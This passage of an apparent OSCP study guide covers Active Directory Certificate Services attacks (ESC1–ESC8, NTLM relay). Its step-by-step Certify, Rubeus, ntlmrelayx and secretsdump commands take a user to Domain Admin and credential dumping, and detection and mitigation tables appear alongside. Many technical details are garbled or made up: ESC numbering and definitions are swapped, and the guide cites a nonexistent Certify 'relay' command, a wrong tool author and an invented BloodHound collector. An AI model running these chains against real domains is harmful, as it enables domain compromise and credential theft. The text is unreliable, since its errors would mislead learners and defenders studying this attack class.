9.5 Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Monitor IIS logs on the CA for anonymous requests | Disable anonymous access on the Certificate Enrollment Web Service |
| Check CA RPC configuration for anonymous bindings | Require authentication on all CA enrollment endpoints |
| Alert on certificate issuance without preceding authentication event | Configure IIS to require Windows Authentication for enrollment |
Certify.exe find /vuln detects RPC anonymous access |
Disable the Certificate Enrollment Web Service if not needed |
| Network segmentation monitoring | Restrict CA enrollment endpoints to authorized subnets only |
10. ESC8 - No Security Extension
10.1 Vulnerability Explanation
ESC8 occurs when a certificate template is missing the Application Policies extension (OID 1.3.6.1.4.1.311.21.7.2) or the Certificate Template Information extension. This extension is critical because it maps the certificate to a specific AD account.
Without this extension:
- The CA cannot verify that the certificate’s subject matches the requester’s AD identity
- Any certificate issued from this template can be used by any AD account
- The certificate becomes a “wildcard” that any user can present for authentication
Technical Details
The security extension (also called the msPKI-Certificate-Application-Policy extension) contains the template’s OID. During authentication, AD checks this extension to verify:
- The certificate was issued for a specific template
- The template’s enrollment rights match the presenter’s AD account
- The certificate’s subject matches the presenter’s identity
When this extension is missing, step 3 is skipped — any holder of the certificate can use it for authentication, regardless of their AD identity.
10.2 Prerequisites
| Requirement | Details |
|---|---|
| Domain account | Any user with enrollment rights on the vulnerable template |
| Missing security extension | The template must not have the Application Policies extension |
| AD CS deployed | An enterprise CA must be running |
10.3 Attack Flow
sequenceDiagram
participant Attacker
participant Certify
participant CA
participant Rubeus
participant KDC
Note over Attacker,Certify: Phase 1: Find Template Without Security Extension
Attacker->>Certify: Certify.exe find /vuln
Certify-->>Attacker: ESC8: No security extension
Note over Attacker,CA: Phase 2: Request Certificate
Attacker->>CA: Request cert from vulnerable template
CA-->>Attacker: Certificate (no security extension)
Note over Attacker,KDC: Phase 3: Use Certificate as Any User
Attacker->>Rubeus: asktgt /certificate:cert.pfx /ptt
Rubeus->>KDC: AS-REQ (no subject verification)
KDC-->>Rubeus: TGT issued
10.4 Step-by-Step Exploitation
# Step 1: Find templates missing security extensions
Certify.exe find /vuln
# Look for ESC8:
# [*] PM2 - ESC8: No Security Extension
# Template Name : NoSecurityTemplate
# Application Policies : Missing <-- Key indicator
# Step 2: Request a certificate
Certify.exe request /ca:DC01.domain.com\domain-DC01-CA `
/template:NoSecurityTemplate
# Step 3: The certificate can be used by anyone
Rubeus.exe asktgt /certificate:cert.pfx /password:password /ptt
# Step 4: Access as the certificate's implied identity
klist
dir \\DC01.domain.com\C$
10.5 Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Audit all templates for missing Application Policies extension | Ensure all templates have the security extension configured |
Certify.exe find /vuln detects ESC8 |
Use template schema version 1 or higher (includes security extension by default) |
| Monitor for certificates without the extension | Upgrade old templates to include the security extension |
| BloodHound CPG for extension mapping | Regular template audits with automated tools |
11. ESC Vulnerability Comparison Table
11.1 Complete Comparison
| ESC | Name | Root Cause | Required Access | Attack Complexity | Impact | Detection Difficulty |
|---|---|---|---|---|---|---|
| ESC1 | Vulnerable Template | ENROLLEE_SUPPLIES_SUBJECT flag |
Enrollment rights on template | Low | Domain Admin | Medium |
| ESC2 | Misconfigured Template | No authorization requirements | Any domain user | Low | Domain Admin | Medium |
| ESC3 | Enrollment Agent | Enrollment Agent EKU | Enrollment rights on agent template | Low | Domain Admin | Medium |
| ESC4 | Issuance Policy | Misconfigured issuance policy | Policy-matching group membership | Medium | Domain Admin | High |
| ESC5 | Edit Attributes | Write access to template | GenericWrite/WriteDacl on template | Medium | Domain Admin | Low |
| ESC6 | Template + Agent | ESC1/2 + Enrollment Agent | Enrollment rights on combined template | Low | Domain Admin | Medium |
| ESC7 | No Auth Required | Anonymous CA access | Network access only | Very Low | Domain Admin | High |
| ESC8 | No Security Extension | Missing Application Policies | Enrollment rights on template | Low | Domain Admin | High |
11.2 ESC Vulnerability Risk Matrix
graph TB
subgraph Easy["Easy to Exploit<br/>(Low Complexity)"]
E1["ESC1: Vulnerable Template"]
E2["ESC2: Misconfigured Template"]
E3["ESC3: Enrollment Agent"]
E7["ESC7: No Auth Required"]
end
subgraph Medium["Moderate to Exploit"]
M4["ESC4: Issuance Policy"]
M5["ESC5: Edit Attributes"]
end
subgraph Combined["Combined / Special"]
C6["ESC6: Template + Agent"]
C8["ESC8: No Security Extension"]
end
E1 --> DA["Domain Admin Access"]
E2 --> DA
E3 --> DA
E7 --> DA
M4 --> DA
M5 --> DA
C6 --> DA
C8 --> DA
11.3 ESC Priority for Attackers
When multiple ESC vulnerabilities exist, prioritize:
- ESC7 (No Auth) — No credentials needed, fastest path
- ESC3 (Enrollment Agent) — Direct path to any user’s certificate
- ESC1 (Vulnerable Template) — Simple, well-documented attack
- ESC5 (Edit Attributes) — Two-step but reliable
- ESC6 (Combined) — Requires specific template configuration
- ESC2 (Misconfigured) — Similar to ESC1 but rarer
- ESC4 (Issuance Policy) — More complex to identify
- ESC8 (No Security Extension) — Depends on CA behavior
12. AD CS Attack Methodology
12.1 Complete Attack Workflow
graph TB
subgraph Recon["Phase 1: Reconnaissance"]
R1["Identify CA Server<br/>(LDAP query, port 389/636)"]
R2["Enumerate Templates<br/>(Certify.exe find)"]
R3["Check Enrollment Rights<br/>(Certify.exe find /enrollment)"]
R4["Scan for ESC Vulnerabilities<br/>(Certify.exe find /vuln)"]
end
subgraph Exploit["Phase 2: Exploitation"]
subgraph ESC_Attacks["ESC Attack Paths"]
A1["ESC1/ESC2: Enroll with<br/>arbitrary subject"]
A2["ESC3: Enrollment Agent<br/>abuse"]
A3["ESC5: Modify template<br/>then enroll"]
A4["ESC7: Unauthenticated<br/>enrollment"]
end
A5["NTLM Relay to AD CS<br/>(Certify.exe relay)"]
end
subgraph Post["Phase 3: Post-Exploitation"]
P1["Authenticate with certificate<br/>(Rubeus asktgt)"]
P2["Request TGT / TGS<br/>(Kerberos tickets)"]
P3["Access target resources<br/>(SMB, WMI, RDP)"]
P4["DCSync / Domain Admin<br/>(secretsdump.py)"]
end
R1 --> R2 --> R3 --> R4
R4 --> A1 & A2 & A3 & A4 & A5
A1 & A2 & A3 & A4 & A5 --> P1 --> P2 --> P3 --> P4
12.2 Reconnaissance Checklist
# 1. Find the CA
Certify.exe find /ca
# 2. Find all templates and their configurations
Certify.exe find
# 3. Check for vulnerabilities
Certify.exe find /vuln
# 4. Check enrollment rights for current user
Certify.exe find /enrollment
# 5. Check CA configuration
Certify.exe find /config
# 6. Enumerate template details
Certify.exe enum /templates
# 7. Check for relay opportunities
Certify.exe relay /ca:DC01.domain.com\CA
12.3 Decision Tree for AD CS Attacks
graph TD
START["Start: Certify.exe find /vuln"]
START -->|ESC7 found| ESC7["ESC7: Unauthenticated enrollment<br/>→ Request cert directly"]
START -->|ESC3 found| ESC3["ESC3: Enrollment Agent<br/>→ Get agent cert → Request for DA"]
START -->|ESC1 found| ESC1["ESC1: Vulnerable Template<br/>→ Request with arbitrary subject"]
START -->|ESC5 found| ESC5["ESC5: Edit Attributes<br/>→ Modify template → ESC1 path"]
START -->|ESC6 found| ESC6["ESC6: Combined<br/>→ Agent cert → Request for DA"]
START -->|ESC2 found| ESC2["ESC2: Open Enrollment<br/>→ Enroll and request"]
START -->|ESC4 found| ESC4["ESC4: Issuance Policy<br/>→ Enroll via policy"]
START -->|ESC8 found| ESC8["ESC8: No Security Extension<br/>→ Request and use cert"]
START -->|None found| NONE["No ESC vulnerabilities<br/>→ Try NTLM Relay path"]
ESC7 --> AUTH["Authenticate with Rubeus"]
ESC3 --> AUTH
ESC1 --> AUTH
ESC5 --> AUTH
ESC6 --> AUTH
ESC2 --> AUTH
ESC4 --> AUTH
ESC8 --> AUTH
NONE --> RELAY["NTLM Relay to AD CS"]
RELAY --> AUTH
AUTH --> TGT["Get TGT via asktgt"]
TGT --> ACCESS["Domain Admin Access"]
13. NTLM Relay to AD CS
13.1 Overview
When no ESC vulnerabilities are found, an alternative attack path is NTLM Relay to AD CS. This technique involves:
- Capturing an NTLM authentication from a domain user (using Responder, Inveigh, or similar)
- Relaying that authentication to the CA’s enrollment endpoint
- The CA processes the request as the relayed user
- If the relayed user has enrollment rights on a useful template, the attacker obtains a certificate
13.2 Prerequisites
| Requirement | Details |
|---|---|
| Network position | Ability to intercept and relay NTLM authentications |
| Target user | The relayed user must have enrollment rights on a template with Client Authentication EKU |
| SMB signing disabled | The target must not require SMB signing (or use an alternative protocol) |
| AD CS enrollment endpoint | The CA must accept enrollment requests via the relayed protocol |
13.3 Step-by-Step Exploitation
# Step 1: Start the relay attack
Certify.exe relay /ca:DC01.domain.com\domain-DC01-CA
# Step 2: In another terminal, force a user to authenticate
# Method 1: SMB relay
python3 ntlmrelayx.py -t rpc://DC01.domain.com `
--adcs --template User
# Method 2: Using Responder to capture, then relay
# (Run Responder in one terminal, ntlmrelayx in another)
# Step 3: When a user authenticates, the relay automatically:
# - Sends the authentication to the CA
# - Requests a certificate on behalf of the relayed user
# - Saves the certificate
# Step 4: Use the obtained certificate
Rubeus.exe asktgt /certificate:relayed_cert.pfx /password:password /ptt
13.4 Detection and Mitigation
| Detection | Mitigation |
|---|---|
| Monitor for authentication from unusual sources to the CA | Enable SMB signing on all servers |
| Alert on certificate requests from relayed accounts | Enable LDAP Channel Binding |
| Monitor Event ID 4625 followed by 4886 | Disable unsigned LDAP traffic |
| Network segmentation monitoring | Restrict CA enrollment to authorized networks |
14. Tools Deep Dive
14.1 Certify (Certify-the-Box)
Author: @Sh3r4\nRepository: https://github.com/GhostPack/Certify
Certify is the primary tool for AD CS enumeration and exploitation. It’s part of the GhostPack toolkit.
Essential Commands Reference
# === Enumeration ===
Certify.exe find # Find all CAs and templates
Certify.exe find /vuln # Find ESC vulnerabilities
Certify.exe find /ca # Find CA servers only
Certify.exe find /enrollment # Check enrollment rights
Certify.exe find /config # Check CA configuration
Certify.exe enum /templates # List all templates
Certify.exe enum /cas # List all CAs
# === Exploitation ===
Certify.exe request /ca:CA_NAME /template:TEMPLATE_NAME
Certify.exe request /ca:CA_NAME /template:TEMPLATE_NAME /subject:"CN=Target,..."
Certify.exe request /ca:CA_NAME /template:TEMPLATE_NAME /onbehalfof:"DOMAIN\User" /certificate:agent.pfx
Certify.exe request /ca:CA_NAME /template:TEMPLATE_NAME /noauth
# === Modification ===
Certify.exe modify /template:TEMPLATE_NAME /addflag:ENROLLEE_SUPPLIES_SUBJECT
Certify.exe modify /template:TEMPLATE_NAME /removeflag:ENROLLEE_SUPPLIES_SUBJECT
# === Relay ===
Certify.exe relay /ca:CA_NAME
Understanding Certify Output
When Certify.exe find /vuln runs, look for these key indicators:
[*] PM2 - ESC1: Vulnerable Certificate Template
Template Name : User <-- Template name
Schema Version : 1 <-- Template schema version
Certificate Name : Supplied by the user <-- Subject handling
Enrollment Agent : False <-- Has enrollment agent EKU?
Any Purpose : True <-- No EKU restrictions?
Client Auth : True <-- Can be used for client auth?
Enrollee Supplies Subject : True <-- ESC1 flag
ACL Bypass : False <-- Can bypass ACL?
CA : DC01\CA <-- Which CA issues this?
Rights:
+ Domain Users : Enrollment <-- Who can enroll?
14.2 Rubeus — Certificate Authentication
Author: @harmj0y\nRepository: https://github.com/GhostPack/Rubeus
Rubeus handles the Kerberos authentication phase after obtaining a certificate.
Certificate-Related Commands
# Request TGT using certificate (PKINIT)
Rubeus.exe asktgt /certificate:cert.pfx /password:pfx_password /ptt
# Request TGS for specific service using certificate
Rubeus.exe asktgs /service:cifs/DC01.domain.com /certificate:cert.pfx /password:pfx_password /ptt
# Request TGS and save ticket
Rubeus.exe asktgs /service:host/DC01.domain.com /certificate:cert.pfx /password:pfx_password /outfile:ticket.kirbi
# Inject existing ticket
Rubeus.exe ptt /ticket:ticket.kirbi
# List current tickets
Rubeus.exe triage
# Dump specific ticket
Rubeus.exe dump /ticket:TICKET_ID
14.3 Impacket — AD CS Attacks
Impacket provides Python-based tools for AD CS attacks, useful when working from a Linux Kali machine.
# Get user certs (enumeration)
python3 getUserSPNs.py domain.com/user:password -request-from target -dc-ip 10.0.0.1
# DCSync after obtaining certificate access
python3 secretsdump.py domain.com/Administrator@DC01.domain.com -k -no-pass
# NTLM relay to AD CS
python3 ntlmrelayx.py -t rpc://DC01.domain.com --adcs --template User
14.4 BloodHound — Certificate Attack Paths
BloodHound with the CPG (Certificate Property Graph) collector can map certificate attack paths:
# Collect certificate data
SharpHound.exe --CollectionMethods All,CPG
# In BloodHound, look for:
# - Shortest path to Domain Admin via certificate templates
# - ESC vulnerabilities in the attack path visualization
# - Enrollment rights chains
15. OSCP Exam Relevance
15.1 Why This Matters for OSCP
Certificate-based authentication attacks are increasingly relevant for OSCP because:
- AD CS is common in lab environments — Many OSCP machines include AD CS as part of the domain infrastructure
- It’s an alternative attack path — When Kerberoasting or password attacks fail, AD CS provides another route
- It tests enumeration skills — Finding ESC vulnerabilities requires thorough AD enumeration
- It connects to other techniques — AD CS attacks often chain with NTLM relay, Kerberos attacks, and privilege escalation
15.2 What to Expect on the Exam
| Scenario | Likelihood | Notes |
|---|---|---|
| AD CS with ESC1 vulnerability | Medium | Look for Certify.exe find /vuln as part of AD enumeration |
| AD CS with ESC3 vulnerability | Low-Medium | Enrollment agent templates are less common but high-impact |
| AD CS with ESC5 vulnerability | Low | Requires specific ACL misconfiguration |
| NTLM Relay to AD CS | Low | Requires network positioning |
| Certificate-based auth as final step | Medium | After obtaining a cert, use Rubeus for Kerberos auth |
15.3 Exam Tips
- Always run
Certify.exe find /vulnwhen you have domain access — it’s quick and can reveal the easiest path to Domain Admin - Check both Windows and Linux paths — Certify runs on Windows; use Impacket from Linux
- Note the PFX password — When Certify saves a certificate, it uses a default password (usually
password) - Use
/pttflag in Rubeus — This injects the ticket directly into your session, avoiding manual handling - Verify with
klist— Always check that the ticket was injected correctly before proceeding - Don’t forget the CA name — The CA name format is
DC_NAME\CA_NAME— get it fromCertify.exe find /ca
15.4 Common Exam Machine Patterns
Pattern 1: Domain User → ESC1 → Domain Admin
1. Gain domain user access
2. Run Certify.exe find /vuln
3. Find ESC1 template
4. Request cert for Administrator
5. Rubeus asktgt → Domain Admin
Pattern 2: Domain User → ESC3 → Domain Admin
1. Gain domain user access
2. Find enrollment agent template
3. Get agent cert, request for Administrator
4. Rubeus asktgt → Domain Admin
Pattern 3: Local Admin → DC Compromise → ESC5 → Full Domain
1. Compromise a server with template write access
2. Modify template to add ENROLLEE_SUPPLIES_SUBJECT
3. Enroll and request cert for DA
4. Rubeus asktgt → Domain Admin
16. Lab Practice Suggestions
16.1 Recommended Lab Setup
Set up a lab environment to practice AD CS attacks:
| Component | Configuration |
|---|---|
| Domain Controller | Windows Server 2019/2022 with AD DS |
| CA Server | Windows Server 2019/2022 with AD CS (Enterprise CA) |
| Workstation | Windows 10/11 domain-joined machine |
| Attacker Machine | Kali Linux (for Impacket) + Windows (for Certify/Rubeus) |
16.2 Practice Scenarios
Scenario 1: ESC1 — Vulnerable Template
Setup:
1. Create a new certificate template
2. Enable "Subject name: Supplied in the request"
3. Add "Domain Users" with Enrollment rights
4. Publish to CA
Attack:
1. Certify.exe find /vuln
2. Certify.exe request /ca:CA /template:ESC1Template /subject:"CN=Administrator,..."
3. Rubeus.exe asktgt /certificate:cert.pfx /password:password /ptt
4. Verify with klist
Scenario 2: ESC3 — Enrollment Agent
Setup:
1. Create a template with Enrollment Agent EKU (OID: 1.3.6.1.4.1.311.20.2.1)
2. Add Client Authentication EKU
3. Add "Domain Users" with Enrollment rights
4. Publish to CA
Attack:
1. Certify.exe find /vuln
2. Certify.exe request /ca:CA /template:AgentTemplate
3. Certify.exe request /ca:CA /template:User /onbehalfof:"DOMAIN\Administrator" /certificate:agent.pfx
4. Rubeus.exe asktgt /certificate:admin_cert.pfx /password:password /ptt
Scenario 3: ESC5 — Edit Attributes
Setup:
1. Create a normal certificate template
2. Grant a specific user GenericWrite on the template object
3. Publish to CA
Attack:
1. Certify.exe find /vuln (as the user with write access)
2. Certify.exe modify /template:TargetTemplate /addflag:ENROLLEE_SUPPLIES_SUBJECT
3. Certify.exe request /ca:CA /template:TargetTemplate /subject:"CN=Administrator,..."
4. Rubeus.exe asktgt /certificate:cert.pfx /password:password /ptt
5. (Optional) Clean up: Remove the flag
16.3 Verification Checklist
After each practice scenario, verify:
-
Certify.exe find /vulndetected the vulnerability - Certificate was successfully requested and saved as .pfx
-
Rubeus.exe asktgtaccepted the certificate -
klistshows the injected ticket - Access to
\\DC01.domain.com\C$works -
secretsdump.pywith-k -no-passsucceeds
17. Common Pitfalls and Troubleshooting
17.1 Certificate Request Failures
| Error | Cause | Solution |
|---|---|---|
The requested template could not be found |
Wrong template name or not published to CA | Use Certify.exe enum /templates to list available templates |
Access is denied |
No enrollment rights on the template | Check rights with Certify.exe find /enrollment |
The certificate request was rejected |
CA doesn’t allow the requested template | Verify the template is published: check CA console |
PFX password incorrect |
Wrong password when using the certificate | Certify uses password as default PFX password |
No enrollment rights |
Your group doesn’t have Enroll ACE on the template | Find a different template or escalate to get rights |
17.2 Rubeus Certificate Authentication Failures
| Error | Cause | Solution |
|---|---|---|
The certificate does not support client authentication |
Missing Client Authentication EKU | The template must have EKU 1.3.6.1.5.5.7.3.2 |
PKINIT not supported |
KDC doesn’t support certificate-based auth | Windows 10 1809+ / Server 2019+ required |
Ticket not injected |
/ptt flag missing or failed |
Re-run with /ptt and check output |
KRB_AP_ERR_SKEW |
Time synchronization issue | Sync time between attacker and DC |
Certificate has expired |
Certificate validity period expired | Request a new certificate |
17.3 General Troubleshooting
# 1. Verify CA is reachable
Test-NetConnection -ComputerName DC01.domain.com -Port 389
Test-NetConnection -ComputerName DC01.domain.com -Port 636
# 2. Verify you're domain-joined
Get-ADDomain
whoami /fqdn
# 3. Check current user's enrollment rights
Certify.exe find /enrollment
# 4. List all templates
Certify.exe enum /templates
# 5. Check CA configuration
Certify.exe find /config
# 6. Verify certificate contents
certutil -verify cert.pfx
# 7. Check current Kerberos tickets
klist
Rubeus.exe triage
# 8. Clear all tickets and start fresh
klist purge
Rubeus.exe purge
17.4 Debugging ESC5 Modifications
# Verify the flag was added
$template = Get-ADObject -Identity "CN=TargetTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" -Properties pKIFlags
Write-Host "pKIFlags: $($template.pKIFlags)"
Write-Host "ENROLLEE_SUPPLIES_SUBJECT set: $($template.pKIFlags -band 0x2)"
# If the CA hasn't picked up the change, you may need to wait
# or restart the AD CS service on the CA (if you have access)
18. Quick Reference
18.1 One-Liner Attack Commands
# Full ESC1 attack in minimal commands
Certify.exe find /vuln
Certify.exe request /ca:DC01\CA /template:VulnTemplate /subject:"CN=Administrator,CN=Users,DC=domain,DC=com"
Rubeus.exe asktgt /certificate:cert.pfx /password:password /ptt
klist
# Full ESC3 attack in minimal commands
Certify.exe find /vuln
Certify.exe request /ca:DC01\CA /template:AgentTemplate
Certify.exe request /ca:DC01\CA /template:User /onbehalfof:"domain\Administrator" /certificate:agent_cert.pfx
Rubeus.exe asktgt /certificate:admin_cert.pfx /password:password /ptt
klist
# Full ESC5 attack in minimal commands
Certify.exe find /vuln
Certify.exe modify /template:WritableTemplate /addflag:ENROLLEE_SUPPLIES_SUBJECT
Certify.exe request /ca:DC01\CA /template:WritableTemplate /subject:"CN=Administrator,CN=Users,DC=domain,DC=com"
Rubeus.exe asktgt /certificate:cert.pfx /password:password /ptt
klist
18.2 Key OIDs Reference
| OID | Name | Purpose |
|---|---|---|
1.3.6.1.5.5.7.3.2 |
Client Authentication | Required for Kerberos certificate auth |
1.3.6.1.5.5.7.3.1 |
Server Authentication | Web server certificates |
1.3.6.1.4.1.311.20.2.1 |
Certificate Request Agent | Enrollment Agent EKU (ESC3) |
1.3.6.1.4.1.311.10.3.4 |
Windows Domain Authentication | Domain authentication |
1.3.6.1.4.1.311.21.7.2 |
Certificate Template Information | Security extension (ESC8) |
18.3 Key Event IDs
| Event ID | Source | Description | Relevance |
|---|---|---|---|
| 4886 | Microsoft-Windows-CertificationAuthority | Certificate request received | All ESC attacks |
| 4887 | Microsoft-Windows-CertificationAuthority | Certificate issued | All ESC attacks |
| 4888 | Microsoft-Windows-CertificationAuthority | Certificate denied | Failed attacks |
| 4768 | Security | Kerberos TGT issued | PKINIT authentication |
| 4769 | Security | Kerberos service ticket issued | Post-cert service access |
| 5136 | Directory Service | Object modified | ESC5 template modification |
18.4 ESC Quick Identification Cheat Sheet
ESC1 → Look for: "Enrollee Supplies Subject : True" + Enrollment rights
ESC2 → Look for: "ACL Bypass : True" + no enrollment restrictions
ESC3 → Look for: "Enrollment Agent : True" + Enrollment rights
ESC4 → Look for: Issuance policy misconfiguration
ESC5 → Look for: "WriteProperty" or "GenericWrite" in Rights
ESC6 → Look for: ESC1/ESC2 + "Enrollment Agent : True"
ESC7 → Look for: "CA Has RPC Anonymous Access : True"
ESC8 → Look for: "Application Policies : Missing"
This study guide provides comprehensive coverage of Certificate-Based Authentication Attacks for OSCP preparation. Practice each ESC vulnerability type in a lab environment to build proficiency. Always ensure you have proper authorization before testing any of these techniques.